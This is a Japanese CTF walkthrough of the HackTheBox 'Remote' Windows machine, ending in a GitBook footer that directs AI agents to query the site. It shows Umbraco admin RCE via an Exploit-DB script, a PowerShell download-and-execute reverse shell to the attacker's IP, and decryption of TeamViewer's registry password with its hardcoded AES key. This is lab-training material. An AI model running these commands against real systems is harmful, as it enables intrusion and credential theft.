> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox攻略記事

Web列挙、NFS列挙 - Showmount、情報漏えい、Umbraco管理パネルの悪用を扱うRemote HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、足掛

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**スキル**:

* Web列挙
* NFS列挙 - Showmount
* 情報漏えい
* Umbraco管理パネルの悪用
* Umbraco CMS - 認証済み管理者によるリモートコード実行
* システムレジストリからTeamViewerのパスワードを取得する（AES128 - CBC）（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9eb77a614ad5698c2e042cb0c6caea883f0b7bb%2Fimage%20(1262).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e77b5f90ce6e1e20fe2f3d10c74da8119e99279a%2Fimage%20(1263).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**/ 開いているポートを列挙し、結果をNmapディレクトリの「allPorts」ファイルにエクスポートする:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cf1a734c3813af420126c6ddf017440e9b502ba%2Fimage%20(1264).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b6bb56d1a8757c7a5426b11e571ea31d39c5db%2Fimage%20(1265).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する:

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7de1110b8c04ddf485f4b65dcb265bfad0dfaf05%2Fimage%20(1266).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029aa827ce26fcf55e80e571620ff501d81b7711%2Fimage%20(1267).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ff079392de9e8d821bbca0dc3c61e505997b5c6%2Fimage%20(1269).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web（ポート80）:

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efcf7874fba151e70cf8625204c695bf7ed26d00%2Fimage%20(1274).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc75aac9b6174219d27b7c32e6d87cc3ba0a6ac%2Fimage%20(1270).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB - ポート445

一覧 **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb5a2740fe0b1db4532881c6c81084660cf29a0c%2Fimage%20(1271).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SMBクライアント（nullセッション）:**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c66627e0db7459b25b2c63779994cae7e9c157%2Fimage%20(1272).png?alt=media" alt=""><figcaption></figcaption></figure>

### FTP（21）匿名

FTPでは匿名ユーザーで接続できますが、ファイルの一覧表示も追加もできません。

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99d2b1c2173acfe5dfd52c0262923b39a7e23b37%2Fimage%20(1273).png?alt=media" alt=""><figcaption></figcaption></figure>

## NFSサービス（ポート2049）

{% hint style="info" %}
Network File System（NFS）はOSIアプリケーション層プロトコルです。ローカルネットワーク上に分散したファイルシステムを作成し、接続された異なるシステムがリモートファイルをローカルファイルのようにアクセスできるようにします。
{% endhint %}

ファイルを一覧表示するには `mount`:

```bash
showmount -e 10.10.10.180
```

私たちは `/site_backups` 誰でも見ることができます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3013ccfa8ce6a51ae041c36ba54599a3c9c4377d%2Fimage%20(1275).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

このファイルを取り込むには、ディレクトリを作成し、次のように自分のマシンにマウントする必要があります:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a0b12cd5a2e1bb19524f08a2de43fbc8ee96b3%2Fimage%20(1276).png?alt=media" alt=""><figcaption></figcaption></figure>

次の `tree`、概要をつかむためにフレーム内のすべてのフォルダを一覧表示します:

```
tree -L 2
```

私たちは `.config` 設定と `sdf` ポート80のUmbracoデータベース（CMS）内のフォルダ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15f7a5e695cdb9ff15972b563fbc06db4593708%2Fimage%20(1278).png?alt=media" alt=""><figcaption></figcaption></figure>

その `.conf` ファイルには特に興味深いものはなく、そして `umbraco.sdf` はバイナリファイルです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22c1ff968b7c2ee0c6041d3797c74d133384b944%2Fimage%20(1279).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちは `strings` を使用して可視文字を表示し、詳細分析のためにそれらを自分のディレクトリに保存します:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

"admin"のパスワードと"smith"ユーザーが見つかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1056720a69f7d25bd03de7388a145be0c72ee493%2Fimage%20(1281).png?alt=media" alt=""><figcaption></figcaption></figure>

### パスワード解析:

Admin（ハッシュ）: `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd715af91b9c490b397e793de31930e9b7b5a09%2Fimage%20(1282).png?alt=media" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### SMBが公開されているので、CrackMapExecを使って認証し、アクセスを検証します

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### 効果なし

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dabd6349cdd6766e470751ab3fd107c4cfaa356%2F%7B9A568C00-E4DD-4EBF-B476-5DF9D0C1C44A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 脆弱性 RCE（Umbraco CMS）

管理パネルを見つけたので、adminユーザーで認証を試します:

`admin@htb.local:baconandcheese`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

アクセスできました。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

私たちは検索します `Searchsploit` このCMSの脆弱性を調べ、Umbraco用のNCEスクリプトを見つけます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

スクリプト内のログイン、パスワード、ホスト設定を変更します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**pingで接続を確認します:**/ このコマンドをサーバー上で実行し、tcpdumpで待ち受けます

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

コマンドを実行できることが確認できたら、 `PS.ps1` スクリプトを私たちのマシンに

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

スクリプトの最後に、次の行を追加します:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

次の `PS.ps1` スクリプト:

```bash
python3 -m http.server 80
```

その後、コマンドを自分たちのWebサーバーを指すように変更します:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

最後に、ポート4444で待ち受けます:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>

へのアクセス `user.txt` ファイルを確認すると、TeamViewerがインストールされていることがわかります

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2495988c926b68ba82fa48f54642d952030b8ff3%2Fimage%20(1293).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

実行中のタスクを見ると、TeamViewerバージョン7が確認できます。

```powershell
tasklist /svc
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt=""><figcaption></figcaption></figure>

Metasploitのスクリプトを探すと、TeamViewerのパスワードを取得できるものが見つかります:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6577ee0c3a024fc9d67c3f0b25dcbbd77b5816b0%2Fimage%20(1256).png?alt=media" alt=""><figcaption></figcaption></figure>

スクリプトを解析する際は、まずレジストリからキー（バージョンに応じて）を取得する必要があります:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

次に、セキュリティプロパティを確認します。特にAESパスワードです:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt=""><figcaption></figcaption></figure>

次のバイト列を `暗号文`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Python自動化スクリプト:

これが全体のプロセスを自動化するスクリプトです:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt=""><figcaption></figcaption></figure>

パスワードは `!R3m0te!`.

CrackMapExecで、そのパスワードがそのユーザーに対して正しいか確認します `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt=""><figcaption></figcaption></figure>

リモートWindows管理サービスがポート5985で有効になっているため、Evil-WinRMで接続します:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最後のルートフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27e43b784ae306b73d668a712ced88bacbc13dfd%2Fimage%20(1261).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fbc44f23ca7f30bd5e77ffa2d7d90304d0de1ef0%2F%7B39DC4A55-52D4-4DB7-B206-C48C813FBAE9%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
